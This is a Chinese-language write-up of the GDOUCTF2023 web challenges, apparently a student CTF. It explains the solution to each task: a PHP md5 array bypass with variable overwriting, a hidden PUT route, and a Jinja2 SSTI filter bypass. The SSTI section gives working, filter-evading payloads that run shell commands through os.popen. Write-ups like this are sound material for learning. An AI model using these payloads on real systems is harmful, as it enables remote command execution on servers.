前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >GDOUCTF2023 WriteUp

GDOUCTF2023 WriteUp

作者头像
ph0ebus
发布于 2023-05-16 03:09:33
发布于 2023-05-16 03:09:33
53210
代码可运行
举报
运行总次数:0
代码可运行
  • 前言

GDOUCTF 为广东海洋大学Hor1zon战队面向本校的第一次新生赛性质的校赛,比赛旨在选拔出有能力且志同道合的师傅加入战队,同时对海大校内学生普及信息安全知识,增强信息安全意识,提高网络空间安全创新能力与实践技能。

web方向AK,团队排名59,总的来说Web方向出的较简单,这里记录一手个人的题解记录,,NSSCTF平台可以复现

Web

hate eat snake

根据规则要玩 60 秒,但过几秒蛇的速度就激情起来了,根本把控不住

js代码经过了混淆,不能直接获得flag

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
if (this['getScore']() > -0x1e9 * -0xf + 0x5 * 0x6d + -0x2e * 0xaa)
                return alert(_0x324fcb(0x2d9, 0x2c3, 0x2db, 0x2f3) + 'k3r_h0pe_t' + _0xe4a674(0x5a1, 0x595, 0x59e, 0x57c) + 'irlfriend}'),
                ![];

那么这里要求60秒,查看分数的计算逻辑

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
getScore: function() {

    ///////////////////////
    var score = Math.round((this.timeCounter + new Date().getTime() - this.startTime) / 1000);
    /////////////////////////

    return score;
}

很容易只是单纯判断开始时间和当前时间的差值,那么这里就可以直接让程序开始运行后暂停60秒

这里使用浏览器的开发者工具中的调试功能完成

然后就能得到flag啦

看师傅们的wp还有很多办法,有长按空格键暂停的,还有下载 js 代码本地修改判断分数语句运行得flag的,还有修改Snake的原型链的方法得flag的,控制台运行Snake.prototype.getScore = () => 114514

受不了一点
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?php
error_reporting(0);
header("Content-type:text/html;charset=utf-8");
if(isset($_POST['gdou'])&&isset($_POST['ctf'])){
    $b=$_POST['ctf'];
    $a=$_POST['gdou'];
    if($_POST['gdou']!=$_POST['ctf'] && md5($a)===md5($b)){
        if(isset($_COOKIE['cookie'])){
           if ($_COOKIE['cookie']=='j0k3r'){
               if(isset($_GET['aaa']) && isset($_GET['bbb'])){
                  $aaa=$_GET['aaa'];
                  $bbb=$_GET['bbb'];
                 if($aaa==114514 && $bbb==114514 && $aaa!=$bbb){
                   $give = 'cancanwordflag';
                   $get ='hacker!';
                   if(!isset($_GET['flag']) && !isset($_POST['flag'])){
                         die($give);
                    }
                   if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
                       die($get);
                    }
                    foreach ($_POST as $key => $value) {
                        $$key = $value;
                   }
                    foreach ($_GET as $key => $value) {
                         $$key = $$value;
                    }
                   echo $flag;
            }else{
                  echo "洗洗睡吧";
                 }
    }else{
        echo "行不行啊细狗";
        }
  }
}
else {
  echo '菜菜';
}
}else{
  echo "就这?";
}
}else{
  echo "别来沾边";
}
?> 别来沾边

首先看第一圈和第二圈 if 判断,因为都是围绕gdouctf两个参数

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
if(isset($_POST['gdou'])&&isset($_POST['ctf'])){
    $b=$_POST['ctf'];
    $a=$_POST['gdou'];
    if($_POST['gdou']!=$_POST['ctf'] && md5($a)===md5($b)){

这里md5弱比较,直接一手数组绕过,POST传入gdou[]=1&ctf[]=2

然后看第三四圈 if 判断

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
if(isset($_COOKIE['cookie'])){
       if ($_COOKIE['cookie']=='j0k3r'){

设置Cookie头,Cookie: cookie=j0k3r

接着进入第五六圈 if 判断

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
if(isset($_GET['aaa']) && isset($_GET['bbb'])){
      $aaa=$_GET['aaa'];
      $bbb=$_GET['bbb'];
     if($aaa==114514 && $bbb==114514 && $aaa!=$bbb){

这里用PHP弱类型特性进行绕过,GET传参?aaa=114514&bbb=114514a

终于到了最后一坨

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
$give = 'cancanwordflag';
$get ='hacker!';
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
     die($give);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
   die($get);
}
foreach ($_POST as $key => $value) {
    $$key = $value;
}
foreach ($_GET as $key => $value) {
     $$key = $$value;
}
echo $flag;

这里if要求POST或者GET传入参数flag,特别注意POST和GET进入后,后面foreach的逻辑不同,相差一个$

使用GET传入则对传入的键值对进行遍历和变量覆盖,既然不能直接让flag=flag自己传给自己,那就找个中间人,给他之后再拿回来

所以GET传入hacker=flag&flag=hacker

最终payload

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
GET: ?aaa=114514&bbb=114514a&hacker=flag&flag=hacker
Header: Cookie: cookie=j0k3r
POST: gdou[]=1&ctf[]=2
EZ WEB

首先有一个点击按钮,点点看,提示Where's the flag? i swear it was around here somewhere,盲猜哪有源码泄露什么的

先查看源码,发现注释

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<!-- /src -->

进到这个路由

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
import flask

app = flask.Flask(__name__)

@app.route('/', methods=['GET'])
def index():
  return flask.send_file('index.html')

@app.route('/src', methods=['GET'])
def source():
  return flask.send_file('app.py')

@app.route('/super-secret-route-nobody-will-guess', methods=['PUT'])
def flag():
  return open('flag').read()

这就很简单了,直接PUT请求方法往/super-secret-route-nobody-will-guess路由发包就可以了

这里可以用burpsuite随便抓个当前页面的包,然后改包发送即可

ez_ze

使用wappalyzer插件快速知道网站用的python的flask框架

盲猜SSTI,输入{{7*7}}测测是不是,回显Invalid input detected甚至这里被过滤了,可以用 Jinja2 的 {%...%} 语句装载一个循环控制语句来绕过,输入{%7*7%},这里报错了获取到了部分源码。其实是忘了不能这么写,

应该{%print(......)%} 的形式来代替 {{}}

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
File "/app/app.py", line 21, in get_flag
    if re.search(pattern, name):
        return render_template('index.html', error='Invalid input detected.')Open an interactive python shell in this frame
    else:
        # 使用用户输入进行模板渲染
        template = "Hello, $ {} $!".format(name)
        return render_template_string(template)

确信是SSTI了,那么开始测测过滤了神魔吧

这里直接给最后getshell拿到的后端代码了

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
# -*- coding: utf-8 -*- 
from flask import Flask, request, render_template, render_template_string 
import re 
app = Flask(__name__) 
@app.route('/') 
def index(): 
    return render_template('index.html') 
@app.route('/get_flag', methods=['POST']) 
def get_flag(): 
    name = request.form['name'] 
    # 进行过滤规则的检查 
    pattern = r"(\{\{|\}\}|popen|os|subprocess|application|getitem|flag\.txt|\.|_|\[|\]|\"|class|subclasses|mro|\\)" 
    if re.search(pattern, name): 
        return render_template('index.html', error='Invalid input detected.') 
    else: # 使用用户输入进行模板渲染 
        template = "Hello, $ {} $!".format(name) 
        return render_template_string(template) 
if __name__ == '__main__': 
    app.run(host='0.0.0.0',port=80,debug=True)

经过测试也可以发现过滤是相当狠的

所以这里利用jinja过滤器进行bypass(原理见这篇文章,这里直接给出payload)

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
{%set nine=dict(aaaaaaaaa=a)|join|count%}
{%set eighteen=nine+nine%}
{%set pop=dict(pop=a)|join%}
{%set xhx=(lipsum|string|list)|attr(pop)(eighteen)%}
{%set kg=(lipsum|string|list)|attr(pop)(nine)%}
{%set globals=(xhx,xhx,dict(globals=a)|join,xhx,xhx)|join%}
{%set get=(xhx,xhx,'metiteg'|reverse,xhx,xhx)|join%}
{%set s='so'|reverse%}
{%set cla=(xhx,xhx,'ssalc'|reverse,xhx,xhx)|join%}
{%set bas=(xhx,xhx,'esab'|reverse,xhx,xhx)|join%}
{%set bas=(xhx,xhx,'sessalcbus'|reverse,xhx,xhx)|join%}
{%set po='nepop'|reverse%}
{%set flag=(dict(cat=a)|join,kg,dict(flag=a)|join)|join%}
{%set read=dict(read=a)|join%}
{%print(lipsum|attr(globals)|attr(get)(s)|attr(po)('cat /f*')|attr(read)())%}

看到大佬们有github的fenjing工具一把梭的 @rbeopad

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
{%print(((lipsum|attr((%c’*11)%(95,95,103,108,111,98,97,108,115,95,95))|attr((%c’*11)%(95,95,103,101,116,105,116,101,109,95,95))((%c’*12)%(95,95,98,117,105,108,116,105,110,115,95,95))|attr((%c’*11)%(95,95,103,101,116,105,116,101,109,95,95))((%c’*4)%(101,118,97,108))))((%c’*42)%(95,95,105,109,112,111,114,116,95,95,40,39,111,115,39,41,46,112,111,112,101,110,40,39,99,97,116,32,47,102,108,97,103,39,41,46,114,101,97,100,40,41)))%}

还有巧妙利用没被过滤的|attr()拼接字符串的 @Cnily03

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
{%set u='%c'%95*2%}{%print(''|attr(u+'cla''ss'+u)|attr(u+'ba''se'+u)|attr(u+'su''bcla''sses'+u)()|attr(213)|attr(u+'i''n''i''t'+u)|attr(u+'glo''bal''s'+u)|attr('ge''t')(u+'bui''lti''ns'+u)|attr('ge''t')(u+'imp''ort'+u)('o''s')|attr('po''pen')('ca''t /f''lag')|attr('re''ad')())%}

本文采用CC-BY-SA-3.0协议,转载请注明出处 Author: ph0ebus

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2023-04-18,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
1 条评论
热度
最新
您好我在users/li/sand 这个文件夹下操作一直提示 没有权限,请问有什么解决办法吗? 上面的方法也试过了 一直报这个错误 mv ./app /binmv: fastcopy: open() failed (to): /bin/app: Read-only file systemmake: *** [install] Error 1
您好我在users/li/sand 这个文件夹下操作一直提示 没有权限,请问有什么解决办法吗? 上面的方法也试过了 一直报这个错误 mv ./app /binmv: fastcopy: open() failed (to): /bin/app: Read-only file systemmake: *** [install] Error 1
回复回复点赞举报
推荐阅读
编辑精选文章
换一批
macOS开启HIDPI解决自定分辨率显示模糊问题
作者:matrix 被围观: 8,685 次 发布时间:2019-02-13 分类:零零星星 | 6 条评论 »
HHTjim 部落格
2022/09/26
1.7K0
macOS开启HIDPI解决自定分辨率显示模糊问题
mac 开启hidpi_开启hidpi的缺点
在macOS10.15之后,系统中存放DisplayProductID和DisplayVendorID的文件夹Overrides变为只读,若有些tool开HiDPI遇到一些麻烦或失灵的情况,可参考下文用one-key-hidpi的简易方法,具体如下:
全栈程序员站长
2022/08/03
3.8K0
mac 开启hidpi_开启hidpi的缺点
mac环境下java、maven、git、rsa等配置
在终端下输入:open .bash_profile 命令,会打开此文件(如果没有则手动创建),添加如下内容。
saintyyu
2022/03/11
1.1K0
靠!安装了macOS Catalina(10.15.4)后,文件系统都乱套了
最近闲来无事,决定将我的两台apple电脑升级成最新的苹果系统(macOS Catalina),当然,由于以前升级过多次mac系统,所以毫不犹豫从app store下载了最新的macOS Cetalina系统,当然,下载很快,安装也很快,过程就不说了,so easy。
蒙娜丽宁
2020/05/04
2.3K0
日常问题——Mac下新建目录报Read-only file system
今天在根目录下,新建目录时出现了Read-only file system提示为只读的错误。电脑最近并没有非正常关机之类可能导致文件损伤的操作,但是最近倒是进行了一次系统更新。
栗筝i
2022/12/01
5K0
macos 借用 ntfs-3g, 使得macos 支持 ntfs 文件系统 读写;- 亲测可用
macos 支持 ntfs文件系统,有商业软件给予支持如: Paragon NTFS for Mac 和 Microsoft NTFS for Mac by Tuxera;但是都是收费产品;
西湖醋鱼
2020/12/30
2.4K0
如何在 Mac 上使用 Xcode LLM / Apple Intelligence 教程
本文旨在不禁用系统完整性保护 (SIP) 或者仅禁用一次的情况下,实现永久在任意 Mac 上使用 Xcode LLM / Apple Intelligence。
轩源
2024/11/22
6660
如何在 Mac 上使用 Xcode LLM / Apple Intelligence 教程
在 MacOS 系统下创建 /home 目录的方法
在「在 MacOS 系统的 /home 目录下创建文件夹的方法」这篇文章中,我们描述了如何在/home目录下创建文件夹的方法,但如果我们的 MacOS 系统连/home目录都没有呢?
CG国斌
2021/12/07
4.2K0
在 MacOS 系统下创建 /home 目录的方法
禁用Mac SIP – System Integrity Protection
全名:System Integrity Protection,中文是:系统完整性保护。它的主要功能是保护系统文件及目录,以免这些文件及目录被没有特定权限的进程修改。
收心
2022/11/18
4.6K0
用 2W+ 的笔记本是一种怎样的体验?
申请的时候,提示有新款 M1 MacBookPro,自然而然就更换新款电脑啦。标配版有现货,升级版(比如 从 16G 升级到 32G 内存,或者 512 SSD 升级到 1T)无库存,需要等一个月左右。
程序猿石头
2022/11/02
6170
用 2W+ 的笔记本是一种怎样的体验?
sudo rm-rf引发的惨案——Linux硬盘的分区和挂载
前不久,刚使用组里的一台服务器,这台服务器平时用的人不多, 没有严格的管理机制,大家都使用同一个用户名进行远程连接,人人都有sudo权限。我因为对Linux不是非常熟悉,使用管理员权限下执行了一个删除文件的操作(sudo rm-rf),直接把系统搞崩,差点给全组造成难以估量的损失,从删库到跑路差点在我身上上演。。
zstar
2022/10/31
3.1K0
sudo rm-rf引发的惨案——Linux硬盘的分区和挂载
Mac下使用Pecl安装PHP的Swoole扩展实践
前段时间把Mac系统重装了,PHP的一些扩展都没了,昨天需要调试一个swoole开发的项目,发现命令行中的PHP是系统自带的,如果安装swoole扩展很不方便;需要自己手动去下载swoole的源码,然后去编译swoole的源码,并自己配置,整个过程非常繁琐;
汤青松
2019/12/03
2.2K0
谁再说不熟悉Linux命令,就把这个给他扔过去!
虽然平时大部分工作都是和Java相关的开发, 但是每天都会接触Linux系统, 尤其是使用了Mac之后, 每天都是工作在黑色背景的命令行环境中. 自己记忆力不好, 很多有用的Linux命令不能很好的记忆, 现在逐渐总结一下, 以便后续查看.
程序员小猿
2021/11/23
5520
原 荐 MAC 读写NTFS硬盘
前两天买了一块1T的硬盘,最近又换了MAC但同时家里电脑又是WIN,可愁坏了用哪种文件系统(HFS+,NTFS)。 最后查了很多资料,最后决定采用四个分区用NTFS,一个分区用HFS+(苹果日志类型)用于Time Machine。 然后在MAC上启用NTFS读写,默认只能读无法写。 硬盘初始化 根据计划方案,无法使用MAC自带磁盘工具或者WIN磁盘工具初始化,所以使用了:Diskgenius. 1、分区类型 删除所有分区,然后手动新建分区,转为GUID类型。 2、第一次新建分区 会提示新建EFI分区,选中所
霡霂
2018/06/04
1.2K0
Mac 上安装 Scrapy 报错,Operation not permitted
前几天在 Mac 上安装 Scrapy,按照官方文档的步骤使用 pip 安装 scrapy 后报一个权限错误
用户9127725
2022/08/08
6130
苹果电脑不能新建文件夹 mac移动硬盘不能新建文件夹
在使用苹果时经常会遇到无权限导致创建文件、文件夹失败,尤其是在系统更新升级后,出现情况的机率更大。导致苹果电脑不能新建文件夹的原因是什么?我们该怎么解决mac移动硬盘不能新建文件夹呢?本文为大家解决苹果电脑无法新建文件夹的问题。
逐梦岛
2024/04/26
1.7K0
苹果电脑不能新建文件夹 mac移动硬盘不能新建文件夹
class dump使用方式和原理
如果这个时候没有发现usr文件夹 说明其隐藏起来了 去查询mac系统下怎么显示隐藏文件
iOS Magician
2023/12/02
5320
class dump使用方式和原理
【Mac】解决无法将 chromedriver 移动到 /usr/bin 目录下问题
原文出处:https://www.cnblogs.com/divebombchen/p/10513139.html
SL_World
2021/09/18
2.1K0
Linux常用命令
我总结了常用的Linux命令,方便你的Linux使用。下面是格式说明,你现在可以跳过,直到遇到疑问时再来查询。 $ 命令行提示符 粗体表示命令 斜体表示参数 filename, file1, file2 都是文件名。有时文件名有后缀,比如file.zip command 命令名 dir 文件夹名 string 字符串 username 用户名 groupname 组名 regex 正则表达式 path 路径 device 设备名 partition 分区名 IP IP地址 doma
Vamei
2018/01/18
1.7K0
Mac免费NTFS支持10.13,解决文件变灰(附加属性)、过期、Finder侧边栏等问题
开机时按 Command+R 键进入恢复模式,在工具菜单中选择终端,在终端中输入下面命令回车并重启 $ csrutil disable 如果没有安装过Command Line Tools,在终端中运行下面命令安装 $ xcode-select --install 在终端中运行下面命令安装brew $ /usr/bin/ruby -e &amp;quot;$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/instal
緣來
2018/09/18
1.4K0
推荐阅读
相关推荐
macOS开启HIDPI解决自定分辨率显示模糊问题
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验